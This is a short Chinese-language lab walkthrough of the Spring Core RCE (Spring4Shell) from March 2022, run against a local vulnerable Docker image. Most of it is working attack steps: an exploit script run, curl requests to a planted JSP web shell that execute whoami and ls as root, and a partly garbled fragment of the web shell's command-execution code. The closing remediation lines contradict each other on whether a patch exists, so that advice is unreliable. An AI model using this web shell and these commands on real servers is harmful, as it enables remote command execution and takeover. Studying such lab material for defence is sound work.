在 Spring Cloud 之后,2022年3月29日,Spring 的另一个重量级漏洞在互联网上爆发:Spring Core RCE
3月31日,Spring 发布了修复该漏洞的新版本。请参阅章节 补丁。
该漏洞利用非常简单,因此 CVSS 评分高达 9.8。
要测试该漏洞,可以执行以下操作。
启动一个存在漏洞的 Spring Docker 镜像。
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
这将把存在漏洞的 Spring 绑定到地址 localhost:8082。
使用 curl 验证镜像是否正确启动。
curl http://localhost:8082
应返回响应 ok。
现在开始利用存在漏洞的镜像!
python3 exp.py --url http://localhost:8082
应返回响应 The vulnerability exists ....。
现在可以使用 curl 利用该漏洞。
# 执行命令 whoami
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami
# 响应已截断
root
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........
# 执行命令 ls
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls
# 响应已截断
app
bin
dev
etc
..........
目前已经上传了漏洞利用工具 exp.py


Spring 现已发布修复该 CVE 的新版本。请参阅 Spring 的公告。
目前 Spring 尚未官方发布补丁,建议降低 JDK 版本作为临时解决方案